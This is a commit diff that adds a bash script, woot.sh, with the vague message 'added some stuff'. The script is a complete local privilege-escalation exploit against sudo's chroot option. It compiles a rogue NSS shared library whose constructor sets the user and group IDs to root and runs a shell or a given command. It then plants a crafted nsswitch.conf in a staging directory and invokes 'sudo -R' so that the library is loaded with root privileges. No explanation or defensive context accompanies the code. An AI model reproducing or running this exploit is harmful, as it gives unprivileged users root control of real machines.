added some stuff

woot.sh

@@ -0,0 +1,31 @@
+#!/usr/bin/env bash
+STAGE=$(mktemp -d /tmp/XXXXXX)
+cd ${STAGE?} || exit 1
+
+if [ $# -eq 0 ]; then
+    CMD="/bin/bash"
+else
+    CMD="$@"
+fi
+CMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
+
+cat >w.c <<EOF
+#include <stdlib.h>
+#include <unistd.h>
+
+__attribute__((constructor)) void woot(void) {
+  setreuid(0,0);
+  setregid(0,0);
+  chdir("/");
+  execl("/bin/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);
+}
+EOF
+
+mkdir -p xd/etc libnss_
+echo "passwd: /w" >xd/etc/nsswitch.conf
+cp /etc/group xd/etc/
+
+gcc -shared -fPIC -Wl,-init,w -o libnss_/w.so.2 w.c
+
+sudo -R xd /bin/true
+rm -rf ${STAGE?}